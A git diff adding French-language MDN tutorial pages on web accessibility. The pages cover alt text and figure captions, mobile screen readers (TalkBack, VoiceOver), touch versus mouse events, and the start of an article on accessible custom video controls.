Les images ont également d'autres mécanismes disponibles pour fournir un texte descriptif. Par exemple, il existe un attribut longdesc destiné à pointer sur un document web distinct contenant une description étendue de l'image, par exemple :

+ +

+<img src="dinosaur.png" longdesc="dino-info.html">
+ +

Cela semble être une bonne idée, en particulier pour les infographies telles que les grands graphiques contenant de nombreuses informations, qui pourraient peut-être être représentées sous forme de tableau de données accessible (voir section précédente). Cependant, longdesc n’est pas toujours pris en charge par les lecteurs d’écran et le contenu est totalement inaccessible aux utilisateurs autres que les lecteurs d’écran. Il est sans doute préférable d’inclure la description longue sur la même page que l’image, ou d’y accéder par un lien régulier.

+ +

HTML5 comprend deux nouveaux éléments  — {{htmlelement("figure")}} et {{htmlelement("figcaption")}} — qui sont supposés associer une figure quelconque (ce peut être n'importe quoi, pas nécessairement une image) à une légende de figure :

+ +
<figure>
+  <img src="dinosaur.png" alt=" Le Mozilla Tyrannosaurus ">
+  <figcaption> Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées .</figcaption>
+</figure>
+ +

Malheureusement, la plupart des lecteurs d’écran ne semblent pas encore associer de légendes à leurs figures, mais la structure des éléments est utile pour le style CSS. Elle permet également de placer une description de l’image à côté de la source.

+ +

Attributs alt vides

+ +

+<h3>
+  <img src="article-icon.png" alt="">
+   Tyrannosaurus Rex: le roi des dinosaures 
+</h3>
+ +

Il peut arriver qu'une image soit incluse dans la conception d'une page, mais son objectif principal est la décoration visuelle. Vous remarquerez dans l'exemple de code ci-dessus que l'attribut  alt de l'image est vide – il s'agit pour que les lecteurs d'écran reconnaissent l'image, mais n'essayent pas de décrire l'image (au lieu de cela, ils diraient simplement « image », ou similaire) .

+ +

La raison d'utiliser un vide alt au lieu de ne pas l'inclure est due au fait que de nombreux lecteurs d'écran annoncent l'URL complète de l'image si aucun alt n'est fourni. Dans l'exemple ci-dessus, l'image agit comme une décoration visuelle de l'en-tête auquel elle est associée. Dans ce cas, et dans les cas où une image est uniquement une décoration et n'a pas de valeur de contenu, vous devez mettre un vide alt sur vos images. Une autre alternative consiste à utiliser l'attribut aria role role = "presentation" – cela empêche également les lecteurs d'écrans de lire du texte alternatif.

+ +
+

Note : si possible, vous devriez utiliser CSS pour afficher des images qui ne sont que des décorations.

+
+ +
+

Résumé

+
+ +

Vous devriez maintenant bien connaître l'écriture HTML accessible pour la plupart des cas. Notre article sur les bases de WAI-ARIA comblera également certaines lacunes dans cette connaissance, mais cet article s’occupe des bases. Ensuite, nous allons explorer CSS et JavaScript, et comment l’accessibilité est affectée par leur bon ou mauvais usage.

+ +

{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}

diff --git a/files/fr/learn/accessibility/index.html b/files/fr/learn/accessibility/index.html new file mode 100644 index 0000000000..23ff90513d --- /dev/null +++ b/files/fr/learn/accessibility/index.html @@ -0,0 +1,56 @@ +--- +title: Accessibilité +slug: Apprendre/a11y +tags: + - ARIA + - Accessibilité + - Apprendre + - CSS + - Débutant + - HTML + - JavaScript +translation_of: Learn/Accessibility +--- +
{{LearnSidebar}}
+ +

Apprendre le HTML, le CSS et le JavaScript est utile si vous voulez devenir développeur web, mais vos connaissances devront aller au delà de la simple utilisation des technologies — vous devrez les utiliser de manière responsable, de la bonne manière, de façon à maximiser l'audience de vos sites web et ne priver personne de leur usage. Pour y parvenir, vous devrez respecter les bonnes pratiques (lesquelles sont démontrées à travers les sujets du HTML, du CSS et du JavaScript), effectuer des tests sur les différents navigateurs et prendre l'accessibilité en considération dès le départ. Dans ce module, nous allons traiter de cette dernière en détail.

+ +

Prérequis

+ +

Pour tirer le meilleur parti de ce module, il serait judicieux de parcourir les sections relatives à HTML, CSS et JavaScript en premier (au moins les deux premiers modules de chacune de ces sections) ou, peut-être encore mieux, de travailler les parties pertinentes du module d'accessibilité au fur et à mesure que vous travaillez les sujets technologiques connexes.

+ +
+

Note : Si vous travaillez sur un ordinateur, une tablette ou un autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer la plupart des exemples de code dans un programme de code en ligne tel que JSBin ou Thimble.

+
+ +

Guides

+ +
+
Qu'est-ce que l'accessibilité ?
+
Cet article amorce le module avec un bon aperçu de ce qu'est réellement l'accessibilité – cela inclut les groupes de personnes que nous devons considérer et pourquoi, quels outils les différentes personnes utilisent pour interagir avec le Web et comment nous pouvons intégrer l'accessibilité dans le processus de développement web.
+
HTML : une bonne base pour l'accessibilité
+
Une grande partie du contenu web peut être rendue accessible simplement lorsqu'on utilise les bons éléments HTML dans les bons cas. Cet article examine en détail comment HTML peut être utilisé pour assurer une accessibilité maximale.
+
Meilleures pratiques d'accessibilité CSS et JavaScript
+
Lorsqu'ils sont utilisés correctement, CSS et JavaScript peuvent permettre des expériences web accessibles… mais ils peuvent considérablement nuire à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines pratiques exemplaires pour CSS et JavaScript qui doivent être prises en compte afin de s'assurer que le contenu, même complexe, soit le plus accessible possible.
+
Principes de base du WAI-ARIA
+
À la suite de l'article précédent, il est parfois compliqué de créer des contrôles complexes et accessible pour une interface utilisateur qui contient du HTML non sémantique et du contenu dynamique mis à jour grâce à JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs de savoir ce qui se passe. Nous allons montrer ici comment l'utiliser, à un niveau basique, pour améliorer l'accessibilité.
+
Accessibilité pour les contenus multimédias
+
Un autre type de contenu susceptible de créer des problèmes d'accessibilité est le multimédia : les contenus vidéo, audio et les image doivent être dotés de textes alternatifs appropriés afin qu'ils puissent être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment.
+
Accessibilité mobile
+
On accède désormais au Web depuis son smartphone. Les plateformes iOS et Android possèdent des outils d'accessibilité à part entière. Il est tout aussi important de prendre en compte l'accessibilité de votre contenu web sur ces plateformes. Cet article examine les considérations d'accessibilité spécifiques au mobile.
+
+ +

Évaluations

+ +
+
Diagnostic et amélioration de l'accessibilité
+
Dans ce module d'évaluation, nous vous présentons un site simple comportant un certain nombre de problèmes d'accessibilité que vous devez diagnostiquer et corriger.
+
+ +

Voir aussi

+ + diff --git a/files/fr/learn/accessibility/mobile/index.html b/files/fr/learn/accessibility/mobile/index.html new file mode 100644 index 0000000000..6fd7b657d1 --- /dev/null +++ b/files/fr/learn/accessibility/mobile/index.html @@ -0,0 +1,311 @@ +--- +title: Accessibilité mobile +slug: Apprendre/a11y/Mobile +tags: + - Accessibilité + - Article + - Débutant + - Mobile + - responsive + - toucher +translation_of: Learn/Accessibility/Mobile +--- +
+
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
+ +

L'accès Web sur les appareils mobiles étant si populaire et les plates-formes populaires telles qu'IOS et Android disposant d'outils d'aide à l'accessibilité complets, il est important de prendre en compte l'accessibilité de votre contenu Web sur ces plates-formes. Cet article examine les considérations relatives à l'accessibilité spécifiques aux mobiles.

+ + + + + + + + + + + + +
Prerequisites:Connaissances de base en informatique, compréhension de base de HTML, CSS et JavaScript et compréhension de la  previous articles in the course.
Objective:Comprendre quels problèmes d'accessibilité existent sur les appareils mobiles et comment les résoudre.
+ +

Accessibilité sur les appareils mobiles

+ +

L’état de l’accessibilité - et la prise en charge des normes Web en général - est bon pour les appareils mobiles modernes. Le temps où les appareils mobiles utilisaient des technologies Web complètement différentes des navigateurs de bureau, forçait les développeurs à utiliser le sniffing de navigateur et à leur servir des sites complètement séparés (même si de nombreuses entreprises détectent encore l'utilisation d'appareils mobiles et leur servent un domaine distinct).

+ +

De nos jours, les appareils mobiles en général peuvent gérer des sites Web "complets", et les principales plates-formes ont même des lecteurs d'écran intégrés pour permettre aux utilisateurs malvoyants de les utiliser avec succès. Les navigateurs mobiles modernes ont tendance à avoir un bon support pour  WAI-ARIA, aussi

+ +

Pour rendre un site Web accessible et utilisable sur mobile, il vous suffit de suivre les bonnes pratiques générales en matière de conception de sites Web et d'accessibilité.

+ +

Certaines exceptions nécessitent une attention particulière pour le mobile; les principaux sont:

+ +
    +
  • Mécanismes de contrôle - Assurez-vous que les commandes d'interface, telles que les boutons, sont accessibles sur les téléphones mobiles (c'est-à-dire principalement les écrans tactiles), ainsi que sur les ordinateurs de bureau / portables (principalement les souris et les claviers).
    • +
  • Saisie utilisateur - Rendez les exigences de saisie utilisateur aussi simples que possible sur mobile (par exemple, dans les formulaires, réduisez au minimum la saisie).
    • +
  • Conception réactive - Assurez-vous que les mises en page fonctionnent sur le mobile, conservez la taille des téléchargements d'images et réfléchissez à la fourniture d'images pour les écrans haute résolution.
    • +
+ +

Résumé des tests de lecteur d'écran sur Android et iOS

+ +

Les plates-formes mobiles les plus courantes disposent de lecteurs d’écran entièrement fonctionnels. Celles-ci fonctionnent à peu près de la même manière que les lecteurs d’écran de bureau, sauf qu’elles sont largement utilisées avec des gestes tactiles plutôt que des combinaisons de touches.

+ +

Regardons les deux principaux: TalkBack sur Android et VoiceOver sur iOS.

+ +

Android TalkBack

+ +

Le lecteur d’écran TalkBack est intégré au système d’exploitation Android.

+ +

Pour l'activer, sélectionnez Paramètres> Accessibilité> TalkBack, puis appuyez sur le curseur pour l'activer. Suivez toute invite supplémentaire à l'écran qui vous est présentée.

+ +

Note:  Les anciennes versions de TalkBack sont activées dans slightly different ways.

+ +

Lorsque TalkBack est activé, les commandes de base de votre appareil Android seront un peu différentes. Par exemple:

+ +
    +
  1. Une simple pression sur une application la sélectionne et l'appareil lit en quoi elle consiste.
    2. +
  2. Glisser vers la gauche ou la droite permet de se déplacer entre les applications, ou les boutons / contrôles si vous êtes dans une barre de contrôle. L'appareil lira chaque option.
    3. +
  3. Double-cliquer n'importe où ouvrira l'application / sélectionner l'option.
    4. +
  4. Vous pouvez également "explorer par le toucher" - maintenez votre doigt appuyé sur l'écran et faites-le glisser, et votre appareil lira les différentes applications / éléments que vous déplacez.
    5. +
+ +

Si vous souhaitez désactiver TalkBack:

+ +
    +
  1. Accédez à votre application Paramètres en utilisant les gestes ci-dessus.
    2. +
  2. Accédez à Accessibilité> TalkBack .
    3. +
  3. Accédez au commutateur et activez-le pour le désactiver. .
    4. +
+ +

Note: Vous pouvez accéder à votre écran d'accueil à tout moment en glissant vers le haut et à gauche dans un mouvement fluide. Si vous avez plus d'un écran d'accueil, vous pouvez passer d'un écran à l'autre en faisant glisser deux doigts vers la gauche et vers la droite. .

+ +

Pour une liste plus complète des gestes TalkBack, voir  Use TalkBack gestures.

+ +

Déverrouiller le téléphone

+ +

Lorsque TalkBack est activé, le déverrouillage du téléphone est un peu différent.

+ +

Vous pouvez balayer deux doigts à partir du bas de l'écran de verrouillage. Si vous avez défini un code d'accès ou un modèle pour déverrouiller votre appareil, vous serez redirigé vers l'écran de saisie approprié pour le saisir.

+ +

Vous pouvez également explorer en touchant le bouton Déverrouiller en bas au centre de l'écran, puis en appuyant deux fois.

+ + + +

TalkBack vous permet d'accéder aux menus contextuels globaux et locaux, où que vous ayez navigué sur l'appareil. Le premier fournit des options globales relatives à l'appareil dans son ensemble, et le second fournit des options relatives uniquement à l'application / à l'écran actuel.

+ +

Pour accéder à ces menus:

+ +
    +
  1. Accédez au menu global en glissant rapidement vers le bas, puis à droite .
    2. +
  2. Accédez au menu local en balayant rapidement vers le haut, puis à droite.
    3. +
  3. Balayez vers la gauche et la droite pour naviguer entre les différentes options. .
    4. +
  4. Une fois que vous avez sélectionné l'option de votre choix, double-cliquez dessus pour la choisir.
    5. +
+ +

Pour plus de détails sur toutes les options disponibles dans les menus contextuels global et local, voir  Use global and local context menus.

+ +

Parcourir des pages Web

+ +

Vous pouvez utiliser le menu contextuel local dans un navigateur Web pour rechercher des options permettant de naviguer dans des pages Web en utilisant uniquement les en-têtes, les contrôles de formulaire ou les liens, ou de naviguer ligne par ligne, etc.

+ +

Par exemple, avec TalkBack activé:

+ +
    +
  1. Ouvrez votre navigateur web.
    2. +
  2. Activer la barre d'URL.
    3. +
  3. Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: +
      +
    • Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double tapant .
      • +
    • Maintenez votre doigt appuyé sur le clavier virtuel jusqu'à obtenir le caractère souhaité, puis relâchez-le pour le saisir. Répétez pour chaque caractère.
      • +
    • Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus.
      • +
    +
    4. +
  4. Balayez vers la gauche et la droite pour vous déplacer entre différents éléments de la page. .
    5. +
  5. Faites glisser votre doigt vers le haut et vers la droite avec un mouvement fluide pour accéder au menu de contenu local.
    6. +
  6. Balayez vers la droite jusqu'à ce que vous trouviez l'option "En-têtes et points de repère".
    7. +
  7. Appuyez deux fois pour le sélectionner. Vous pouvez maintenant glisser à gauche et à droite pour vous déplacer entre les rubriques et les points de repère ARIA.
    8. +
  8. Pour revenir au mode par défaut, entrez de nouveau dans le menu contextuel local en balayant l'écran vers le haut, le curseur à droite, sélectionnez "Par défaut", puis tapez deux fois pour l'activer.
    9. +
+ +

Note:  Voir  aussi Get started on Android with TalkBack pour obtenir une documentation plus complète.

+ +

iOS VoiceOver

+ +

Une version mobile de VoiceOver est intégrée au système d'exploitation iOS.

+ +

Pour l'activer, accédez à l'application Paramètres, puis sélectionnez Général > Accessibilité > VoiceOver. Appuyez sur le curseur VoiceOver pour l'activer (vous verrez également un certain nombre d'autres options liées à VoiceOver sur cette page).

+ +

Une fois que VoiceOver est activé, les gestes de contrôle de base de l'iOS seront un peu différents :

+ +
    +
  1. Un simple tapement entraînera la sélection de l'élément sur lequel vous appuyez; votre appareil parlera de l'élément sur lequel vous avez tapé.
    2. +
  2. Vous pouvez également parcourir les éléments à l’écran en balayant vers la gauche ou vers la droite pour les déplacer, ou en faisant glisser votre doigt sur l’écran pour naviguer entre les différents éléments (lorsque vous trouvez l’élément souhaité, vous pouvez le retirer pour le sélectionner).
    3. +
  3. Pour activer l'élément sélectionné (par exemple, ouvrir une application sélectionnée), appuyez deux fois n'importe où sur l'écran.
    4. +
  4. Faites glisser votre doigt avec trois doigts pour faire défiler une page.
    5. +
  5. Appuyez avec deux doigts pour effectuer une action liée au contexte - par exemple, prendre une photo alors que vous êtes dans l'application Appareil photo.
    6. +
+ +

Pour le désactiver à nouveau, revenez à Paramètres> Général> Accessibilité> VoiceOver en utilisant les gestes ci-dessus, puis basculez le curseur VoiceOver sur Désactivé.

+ +

Déverrouiller le téléphone

+ +

Pour déverrouiller le téléphone, vous devez appuyer sur le bouton d'accueil (ou balayer) comme d'habitude. Si vous avez défini un code d'authentification, vous pouvez sélectionner chaque numéro en balayant / glissant (comme expliqué ci-dessus), puis en appuyant deux fois pour entrer chaque numéro lorsque vous avez trouvé le bon.

+ +

Utiliser le rotor

+ +

Lorsque VoiceOver est activé, vous disposez d'une fonction de navigation appelée Rotor, qui vous permet de choisir rapidement parmi un certain nombre d'options utiles courantes. Pour l'utiliser:

+ +
    +
  1. Tournez deux doigts sur l’écran comme si vous tourniez un cadran. Chaque option sera lue à voix haute au fur et à mesure que vous tournez. Vous pouvez aller et venir pour parcourir les options.
    2. +
  2. Une fois que vous avez trouvé l'option que vous voulez: +
      +
    • Relâchez vos doigts pour le sélectionner.
      • +
    • S'il s'agit d'une option dont vous pouvez parcourir la valeur (telle que le volume ou la vitesse de parole), vous pouvez effectuer un balayage vers le haut ou le bas pour augmenter ou diminuer la valeur de l'élément sélectionné.
      • +
    +
    3. +
+ +

Les options disponibles sous Rotor dépendent du contexte. Elles diffèrent en fonction de l'application ou de la vue dans laquelle vous vous trouvez (voir l'exemple ci-dessous).

+ +

Parcourir des pages Web

+ +

Essayons la navigation Web avec VoiceOver:

+ +
    +
  1. Ouvrez votre navigateur web.
    2. +
  2. Activer la barre d'URL.
    3. +
  3. Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: +
      +
    • Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double-tapant.
      • +
    • Pour chaque caractère, maintenez votre doigt appuyé sur le clavier virtuel jusqu'à ce que vous obteniez le caractère souhaité, puis relâchez votre doigt pour le sélectionner. Appuyez deux fois pour le taper.
      • +
    • Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus.
      • +
    +
    4. +
  4. Balayez vers la gauche et la droite pour vous déplacer entre les éléments de la page. Vous pouvez appuyer deux fois sur un élément pour le sélectionner (par exemple, suivre un lien).
    5. +
  5. Par défaut, l’option de rotor sélectionnée sera Speaking Rate; vous pouvez actuellement balayer de haut en bas pour augmenter ou diminuer le débit.
    6. +
  6. Maintenant, tournez deux doigts autour de l'écran comme un cadran pour afficher le rotor et passez d'une option à l'autre. Voici quelques exemples d'options disponibles: +
      +
    • Taux de parole : Modifiez le taux de parole.
      • +
    • Conteneurs : déplacez-vous entre différents conteneurs sémantiques de la page.
      • +
    • En-têtes : déplacez-vous entre les en-têtes de la page.
      • +
    • Liens : permet de se déplacer entre les liens de la page.
      • +
    • Contrôles de formulaire : déplacez-vous entre les contrôles de formulaire de la page.
      • +
    • Langue : déplacez-vous entre différentes traductions, si elles sont disponibles.
      • +
    +
    7. +
  7. Sélectionnez les en-têtes. Vous pouvez maintenant glisser de haut en bas pour vous déplacer entre les titres de la page.
    8. +
+ +

Note:  Pour une référence plus complète couvrant les gestes VoiceOver disponibles et d'autres astuces sur le test d'accessibilité sur iOS, voir aussi Test Accessibility on Your Device with VoiceOver.

+ +

Mécanismes de contrôle

+ +

Dans notre article relatif à l'accessibilité CSS et JavaScript, nous avons examiné l'idée d'événements spécifiques à un certain type de mécanisme de contrôle  (see Mouse-specific events). En résumé, cela pose des problèmes d'accessibilité car d'autres mécanismes de contrôle ne peuvent pas activer la fonctionnalité associée.

+ +

Par exemple, l'événement  click  est bon en termes d'accessibilité - un gestionnaire d'événements associé peut être appelé en cliquant sur l'élément sur lequel il est défini, en le sélectionnant et en appuyant sur Entrée / Retour ou en le tapant sur un périphérique à écran tactile. Essayez notre simple-button-example.html exemple (see it running live) pour voir ce que nous entendons. .

+ +

Sinon, des événements spécifiques à la souris, tels que  mousedown et mouseup créent des problèmes - leurs gestionnaires d'événements ne peuvent pas être appelés à l'aide de contrôles autres que la souris.

+ +

Si vous essayez de contrôler notre exemple  simple-box-drag.html (see example live) avec un clavier ou une touche, vous verrez le problème. Cela se produit car nous utilisons un code tel que:

+ +
div.onmousedown = function() {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  movePanel();
+}
+
+document.onmouseup = stopMove;
+ +

Pour activer d'autres formes de contrôle, vous devez utiliser des événements différents mais équivalents. Par exemple, les événements tactiles fonctionnent sur les périphériques à écran tactile:

+ +
div.ontouchstart = function(e) {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  positionHandler(e);
+  movePanel();
+}
+
+panel.ontouchend = stopMove;
+ +

Nous avons fourni un exemple simple qui montre comment utiliser simultanément les événements de la souris et des événements tactiles — voir multi-control-box-drag.html (see the example live aussi).

+ +

Note: Vous pouvez également voir des exemples fonctionnels montrant comment implémenter différents mécanismes de contrôle à   Implementing game control mechanisms.

+ +

Responsive design

+ +

Responsive design a l’habitude de faire en sorte que vos mises en page et les autres fonctionnalités de vos applications changent de manière dynamique en fonction de facteurs tels que la taille de l’écran et la résolution, de sorte qu’elles soient utilisables et accessibles aux utilisateurs de différents types d’appareils. .

+ +

En particulier, les problèmes les plus courants auxquels le mobile doit faire face sont les suivants:

+ +
    +
  • Adéquation des mises en page pour les appareils mobiles. Une mise en page à plusieurs colonnes ne fonctionnera pas aussi bien sur un écran étroit, par exemple, et il faudra peut-être augmenter la taille du texte pour le rendre lisible. Ces problèmes peuvent être résolus en créant une mise en page réactive utilisant des technologies telles que  media queries, viewport, et flexbox.
    • +
  • Conserver les tailles d’image téléchargées. En général, les appareils de petite taille n’auront pas besoin d’images aussi volumineuses que leurs homologues de bureau, et ils risquent davantage d’être sur des connexions réseau lentes. Par conséquent, il est sage de servir des images plus petites sur des dispositifs à écran étroit, le cas échéant. Vous pouvez gérer cela en utilisant  responsive image techniques.
    • +
  • Penser aux hautes résolutions. De nombreux appareils mobiles ont des écrans haute résolution et ont donc besoin d'images de résolution supérieure pour que l'affichage puisse continuer à être net et net. Encore une fois, vous pouvez servir des images selon vos besoins en utilisant des techniques d’image réactives. De plus, de nombreuses exigences en matière d'images peuvent être satisfaites grâce au format d'images vectorielles SVG, bien pris en charge par les navigateurs actuels. SVG a une petite taille de fichier et restera net quelle que soit la taille affichée   (voir Adding vector graphics to the web pour plus de détails ).
    • +
+ +

Note:  Nous ne fournirons pas une analyse complète des techniques de conception réactive ici, car elles sont couvertes ailleurs au sein de MDN (voir les liens ci-dessus).

+ +

Considérations mobiles spécifiques

+ +

Il existe d'autres problèmes importants à prendre en compte lors de la création de sites plus accessibles sur mobile. Nous en avons énuméré quelques-uns ici, mais nous en ajouterons davantage lorsque nous y penserons.

+ +

Ne pas désactiver le zoom

+ +

En utilisant  viewport, il est possible de désactiver le zoom, en utilisant un code comme celui-ci dans votre {{htmlelement("head")}}:

+ +
<meta name="viewport" content="user-scalable=no">
+ +

Vous ne devriez jamais faire cela autant que possible - beaucoup de gens comptent sur le zoom pour voir le contenu de votre site web, aussi, enlever cette fonctionnalité est une très mauvaise idée. Il y a certaines situations où le zoom peut casser l'interface utilisateur; Dans de tels cas, si vous estimez que vous devez absolument désactiver le zoom, vous devez fournir un autre type d’équivalent, tel qu’une commande permettant d’augmenter la taille du texte de manière à ne pas endommager votre interface utilisateur.

+ +

Garder les menus accessibles

+ +

Étant donné que l'écran est beaucoup plus étroit sur les appareils mobiles, il est très courant d'utiliser des requêtes multimédia et d'autres technologies pour réduire le menu de navigation à une minuscule icône en haut de l'écran, sur laquelle vous pouvez appuyer pour afficher le menu uniquement si c'est nécessaire - lorsque le site est visualisé sur mobile. Ceci est généralement représenté par une icône "trois lignes horizontales" et le motif de conception est par conséquent appelé "menu hamburger".

+ +

Lorsque vous implémentez un tel menu, vous devez vous assurer que le contrôle qui le révèle est accessible par les mécanismes de contrôle appropriés (normalement tactile pour mobile), comme indiqué dans {{anch("Control mechanisms")}} ci-dessus, et que le reste de la page est déplacé ou caché d'une manière ou d'une autre pendant l'accès au menu, afin d'éviter toute confusion lors de la navigation. .

+ +

Cliquez ici pour un  good hamburger menu example.

+ +

Entrée utilisateur

+ +

Sur les appareils mobiles, la saisie de données a tendance à être plus agaçante pour les utilisateurs que l'expérience équivalente sur les ordinateurs de bureau. Il est plus pratique de taper du texte dans les entrées de formulaire à l'aide d'un clavier d'ordinateur de bureau ou d'ordinateur portable que d'un clavier virtuel à écran tactile ou d'un petit clavier physique mobile.

+ +

Pour cette raison, il vaut la peine d'essayer de minimiser la quantité de frappe nécessaire. Par exemple, au lieu de forcer les utilisateurs à saisir chaque fois le titre de leur travail en utilisant une entrée de texte standard, vous pouvez proposer un menu  {{htmlelement("select")}}  contenant les options les plus courantes (ce qui aide également à cohérence dans la saisie des données), et offrent une option "Autre" qui affiche un champ de texte dans lequel taper les valeurs aberrantes. Vous pouvez voir un exemple simple de cette idée en action dans common-job-types.html ( voir le common jobs example live).

+ +

Il est également utile d’envisager l’utilisation de types de saisie de formulaire au format HTML5, tels que la date sur les plates-formes mobiles car ils les gèrent bien (Android et iOS, par exemple, affichent des widgets utilisables qui correspondent bien à l’expérience de l’appareil. Voir  html5-form-examples.html  pour quelques exemples (voir HTML5 form examples live) — essayez de les charger et de les manipuler sur des appareils mobiles. Par exemple:

+ +
    +
  • Les types  number, tel, et email affichent des claviers virtuels appropriés pour la saisie de numéros / numéros de téléphone.
    • +
  • Les types time et date affichent des sélecteurs appropriés pour la sélection des heures et des dates. .
    • +
+ +

Si vous souhaitez fournir une solution différente pour les ordinateurs de bureau, vous pouvez toujours proposer un balisage différent à vos périphériques mobiles à l'aide de la détection de fonctionnalités. Reportez-vous à  input types  pour obtenir des informations brutes sur la détection de différents types d'entrée et consultez notre article feature detection article pour en savoir plus. .

+ +

Résumé

+ +

Dans cet article, nous vous avons fourni des détails sur les problèmes courants spécifiques à l'accessibilité mobile et sur la façon de les résoudre. Nous vous avons également montré comment utiliser les lecteurs d'écran les plus courants pour vous aider à effectuer des tests d'accessibilité.

+ +
+

Voir également

+
+ + + +
{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
+ +
+

Dans ce module

+ + +
+
diff --git a/files/fr/learn/accessibility/multimedia/index.html b/files/fr/learn/accessibility/multimedia/index.html new file mode 100644 index 0000000000..e8b03c52b0 --- /dev/null +++ b/files/fr/learn/accessibility/multimedia/index.html @@ -0,0 +1,374 @@ +--- +title: Accessible multimedia +slug: Apprendre/a11y/Multimedia +tags: + - Accessibilité + - Apprendre + - Audio + - Débutant + - HTML + - Images + - JavaScript + - Multimedia + - Video +translation_of: Learn/Accessibility/Multimedia +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}
+ +

Le multimédia est une autre catégorie de contenu susceptible de créer des problèmes d'accessibilité: les contenus vidéo, audio et images doivent disposer de solutions de remplacement textuelles appropriées pour être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment.

+ + + + + + + + + + + + +
Conditions requise:Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension de Qu'est ce que l'accessibilité?
Objectif:Comprendre les problèmes d'accessibilité derrière le multimédia et comment les résoudre .
+ +

Multimédia et accessibilité

+ +

Jusqu'ici, dans ce module, nous avons examiné une variété de contenus et ce qui doit être fait pour en assurer l'accessibilité, du simple contenu textuel aux tableaux de données, en passant par les images, les contrôles natifs tels que les éléments de formulaire et les boutons, et des structures de balisage encore plus complexes. (avec  WAI-ARIA l'attribut).

+ +

Cet article, par contre, examine une autre catégorie générale de contenu pour laquelle il est difficile d’assurer l’accessibilité au multimédia. Les images, les vidéos, les éléments {{htmlelement ("canvas")}} les animations Flash, etc. ne sont pas aussi faciles à comprendre par les lecteurs d'écran ou à naviguer au clavier, et nous devons leur donner un coup de main.

+ +

Mais ne désespérez pas - nous vous aiderons ici à naviguer parmi les techniques disponibles pour rendre le multimédia plus accessible.

+ +

Simple images

+ +

Nous avons déjà couvert des alternatives textuelles simples pour les images HTML dans notre article   HTML : une bonne base pour l'accessibilité  —  vous pouvez vous y référer pour plus de détails. En bref, vous devez vous assurer que, dans la mesure du possible, le contenu visuel dispose d’un texte alternatif que les lecteurs d’écran peuvent lire et lire à leurs utilisateurs.

+ +

 

+ +
+
Par exemple:
+
+ +
<img src="dinosaur.png"
+     alt=" Un Tyrannosaure Rex rouge: Un dinosaure a deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tete avec beaucoup de dents acerees .">
+
+ +

Commandes audio et vidéo accessibles

+ +

La mise en œuvre de contrôles audio / vidéo sur le Web ne devrait pas poser de problème, n'est-ce pas? Enquêtons .

+ +

Le problème avec les contrôles HTML5 natifs

+ +

Les instances audio et vidéo HTML5 sont même fournies avec un ensemble de commandes intégrées vous permettant de contrôler le contenu multimédia directement. Par exemple (voir  native-controls.html code source et en direct):

+ +
<audio controls>
+  <source src="viper.mp3" type="audio/mp3">
+  <source src="viper.ogg" type="audio/ogg">
+  <p> Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="viper.mp3"> lien vers l\'audio </a>  au lieu .</p>
+</audio>
+
+<br>
+
+<video controls>
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p>
+</video>
+ +

L'attribut controls comporte des boutons de lecture / pause, une barre de recherche, etc. - les commandes de base que vous êtes en droit d'attendre d'un lecteur multimédia. Il semble que dans Firefox et Chrome :

+ +

Screenshot of Video Controls in Firefox

+ +

Screenshot of Video Controls in Chrome

+ +

Cependant, il y a des problèmes avec ces contrôles :

+ +
    +
  • Ils ne sont pas accessibles au clavier, dans aucun navigateur, sauf Opera.
    • +
  • Différents navigateurs donnent aux contrôles natifs un style et des fonctionnalités différents. Ils ne sont pas stylables, ce qui signifie qu'ils ne peuvent pas être facilement conçus pour suivre un guide de style du site. .
    • +
+ +

Pour remédier à cela, nous pouvons créer nos propres contrôles personnalisés. Regardons comment.

+ +

Création de contrôles audio et vidéo personnalisés

+ +

La vidéo et l'audio HTML5 partagent une API - HTML Media Element - qui vous permet de mapper des fonctionnalités personnalisées à des boutons et à d'autres commandes, que vous définissez vous-même. .

+ +

Prenons l'exemple vidéo ci-dessus et ajoutons-leur des contrôles personnalisés .

+ +

Basic setup

+ +

Tout d'abord, prenez une copie de notre  custom-controls-start.html, custom-controls.css, rabbit320.mp4, et rabbit320.webm fichiers et enregistrez-les dans un nouveau répertoire sur votre disque dur .

+ +

Créez un nouveau fichier appelé main.js et enregistrez-le dans le même répertoire .

+ +

Tout d’abord, regardons le code HTML pour le lecteur vidéo, dans le code HTML:

+ +
<section class="player">
+  <video controls>
+    <source src="rabbit320.mp4" type="video/mp4">
+    <source src="rabbit320.webm" type="video/webm">
+    <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p>
+  </video>
+
+  <div class="controls">
